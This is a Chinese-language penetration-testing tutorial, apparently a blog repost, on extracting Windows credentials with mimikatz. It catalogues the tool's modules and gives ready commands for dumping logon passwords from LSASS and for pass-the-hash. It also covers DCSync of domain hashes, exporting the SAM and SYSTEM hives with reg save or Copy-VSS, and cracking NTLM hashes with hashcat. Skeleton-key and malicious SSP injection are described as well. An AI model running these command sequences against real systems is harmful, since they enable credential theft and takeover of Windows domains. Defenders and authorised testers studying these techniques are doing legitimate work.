news 2026/5/30 2:39:29

内网渗透-使用mimikatz离线读取SAM文件抓取密码

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
内网渗透-使用mimikatz离线读取SAM文件抓取密码

Mimikatz介绍

项目地址 https://github.com/gentilkiwi/mimikatz/

模块命令如下:

cls清屏

standard标准模块,基本命令

crypto加密相关模块

sekurlsa与证书相关的模块

kerberoskerberos模块

privilege提权相关模块

process进程相关模块

serivce服务相关模块

lsadumpLsaDump模块

ts终端服务器模块

event事件模块

misc杂项模块

token令牌操作模块

vaultWindows、证书模块

minesweeperMineSweeper模块

net

dpapiDPAPI模块(通过APIRAW访问)[数据保护应用程序编程接口]

busylightBusyLightModule

sysenv系统环境值模块

sid安全标识符模块

iisIISXML配置模块

rpcmimikatzRPC控制

sr98用于SR98设备和T5577目标的RF模块

rdmRDM830AL)器件的射频模块

acrACR模块

version查看版本

exit退出

常用命令

CRYPTO::Certificates列出/导出凭证。

KERBEROS::Golden创建黄金票证/白银票证/信任票证。

KERBEROS::List列出在用户的内存中所有用户的票证(TGTTGS)。

KERBEROS::PTT票证传递。

LSADUMP::DCSyncDC发起同步一个对象(获取帐户的密码数据)的质询。

LSADUMP::LSALSAServer质询检索SAM/AD的数据(正常或未打补丁的情况下)。可以从DC或者是一个lsass.dmp的转储文件中

导出所有的ActiveDirectory域凭证数据。同样也可以获取指定帐户的凭证,如krbtgt帐户,使用/name参数,

如:“/name:krbtgt”。

LSADUMP::SAM获取SysKey来解密SAM的项目数据(从注册表或者hive中导出)SAM选项。可以连接到本地安

全帐户管理器(SAM

数据库中并能转储本地帐户的凭证。可以用来转储在Windows计算机上的所有的本地凭据。

LSADUMP::TrustLSAServer质询来获取信任的认证信息(正常或未打补丁的情况下)为所有相关的受信的域或

林转储信任密钥(密码)

MISC::AddSid将用户帐户添加到SID历史记录。第一个值是目标帐户,第二值是帐户/组名(可以是多个或SID

)。

MISC::MemSSP注入恶意的WndowsSSP来记录本地身份验证凭据。

MISC::SkeletonDC中注入万能钥匙(SkeletonKeyLSASS进程中。这使得所有用户所。

使用的万能钥匙修补DC使用“主密码”(又名万能钥匙)以及他们自己通常使用的密码进行身份验证。

PRIVILEGE::Debug获得Debug权限(很多Mimikatz命令需要Debug权限或本地SYSTEM权限)。

SEKURLSA::Ekeys列出Kerberos密钥

SEKURLSA::Kerberos列出所有已通过认证的用户的Kerberos凭证(包括服务帐户和计算机帐户)。

SEKURLSA::Krbtgt获取域中Kerberos服务帐户(KRBTGT)的密码数据。

SEKURLSA::LogonPasswords列出所有可用的提供者的凭据。这个命令通常会显示最近登录过的用户和最近登录过的

计算机的凭证。

SEKURLSA::PthHash传递Key传递(注:OverPasstheHash的实际过程就是传递了相关的Key(s))。

SEKURLSA::Tickets列出最近所有已经过身份验证的用户的可用的Kerberos票证,包括使用用户帐户的上下文运

行的服务和本地计算机

AD中的计算机帐户。与kerberos::list不同的是sekurlsa使用内存读取的方式,它不会受到密钥导出的限制。

TOKEN::List列出系统中的所有令牌。

TOKEN::Elevate假冒令牌。用于提升权限至SYSTEM权限(默认情况下)或者是发现计算机中的域管理员的令牌。

TOKEN::Elevate/domainadmin假冒一个拥有域管理员凭证的令牌。

接下来看几个常用的模块

sekurlsa模块

privilege模块

privilege::debug提升为debug权限

sekurlsa:模块,从lsass进程中提取passwordskeyspintickets等信息

sekurlsa::msv获取HASH(LM,NTLM)

sekurlsa::wdigest通过可逆的方式去内存中读取明文密码

sekurlsa::Kerberos假如域管理员正好在登陆了我们的电脑,我们可以通过这个命令来获取域管理员的明文密码

sekurlsa::tspkg通过tspkg读取明文密码

sekurlsa::livessp通过livessp读取明文密码

sekurlsa::ssp通过ssp读取明文密码

sekurlsa::logonPasswords通过以上各种方法读取明文密码

sekurlsa::process将自己的进程切换到lsass进程中,之前只是注入读取信息

sekurlsa::minidumpfile这个模块可以读取已经打包的内存信息

sekurlsa::pth哈希传递

sekurlsa::pth/user:administrator/domain:host1/ntlm:cdf34cda4e455232323xxxx

sekurlsa::pth/user:administrator/domain:host1/aes256:cdf34cda4e455232323xxxx

读取测试

正常来说是没办法查看域控的文件的。但是可以通过privilege::debug提权后,即可查看

process::run 123.exe

在CS里面出现提权之后的主机:

一行命令读取:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 1.txt

process模块

process::list列出进程列表

process::exports导出进程列表

process::imports导入列表

process::start开始一个进程

process::stop停止一个程序

process::suspend冻结一个进程

process::resume从冻结中恢复

process::runnotepad运行一个程序

process::runpSYSTEM系统权限打开一个新的mimikatz窗口

kerberos模块

kerberos::list列出系统中的票据

kerberos::tgt清除系统中的票据

kerberos::purge导入票据到系统中

kerberos::ptc票据路径

lsadump模块

在域控上执行)查看域kevin.com内指定用户root的详细信息,包括NTLM哈希等

lsadump::dcsync/domain:kevin.com/user:root (在域控上执行)读取所有域用户的哈希

lsadump::lsa/patchsam.hivesystem.hive文件中获得NTLMHash

lsadump::sam/sam:sam.hive/system:system.hive从本地SAM文件中读取密码哈希

token::elevate

lsadump::sam

SAM文件抓取密码

导出sam和system文件

方法1、通多reg命令无工具导出

regsavehklm\samsam.hive

regsavehklm\systemsystem.hive

方法2、通过nishang中的Copy-VSS进行复制,如果这个脚本运行在了 DC服务器上,ntds.dit 和 SYSTEM hive也能被拷贝出来

cd \Users\jack\Desktop

Import-Module .\Copy-VSS.ps1

Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

Import-Module .\Copy-VSS.ps1

Copy-VSS

读取sam和system文件获取密码

lsadump::sam/sam:sam.hive/system:system.hive

就找到密码的hash了

破解密码:

hashcat -m 1000 32ed87bdb5fdc5e9cba88547376818d4 /usr/share/wordlists/rockyou.txt -D 1 >result.txt

得到这个密码,这个是用户31979的密码

提示:

如果这样显示

修改kali虚拟机内核为单核,内存4G即可。
参考:http://blog.2fxw.cn/post/15.html

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/30 2:37:58

如何在Windows上免费获取macOS风格鼠标指针:完整配置教程

如何在Windows上免费获取macOS风格鼠标指针:完整配置教程 【免费下载链接】macOS-cursors-for-Windows Tested in Windows 10 & 11, 4K (125%, 150%, 200%). With 2 versions, 2 types and 3 different sizes! 项目地址: https://gitcode.com/gh_mirrors/ma/m…

作者头像 李华
网站建设 2026/5/30 2:36:58

【复刻微信小程序 系列】2. 数字华容道

数字华容道:滑块 水管,一个小游戏塞了两种玩法 起因 这次做的是「数字华容道」,就是小时候玩的那种——一堆数字方块在格子里滑来滑去,把顺序拼对就赢了。做完之后觉得不过瘾,又加了个"水管模式"&#xff0…

作者头像 李华
网站建设 2026/5/30 2:32:36

SOLIDWORKS工程图自定义属性

我们完成零件设计,出工程图后,发现零件中部分属性值需修改,或漏掉一些属性值需要添加,也可能老旧的设计图纸需要统一规范。这时我们用SOLIDWORKS自带的属性标签工具就可以快速完成文件的属性编辑。1SOLIDWORKS属性标签工具使用指南…

作者头像 李华
网站建设 2026/5/30 2:31:35

基于Arduino与多传感器的手语翻译手套:从硬件搭建到算法实现

1. 项目概述与设计思路手语是听障人士与世界沟通的重要桥梁,但对于非手语使用者而言,这堵墙依然存在。传统的翻译方案往往依赖昂贵的专业设备或复杂的计算机视觉系统,成本和技术门槛都较高。我这次想尝试的,是一个更“接地气”的路…

作者头像 李华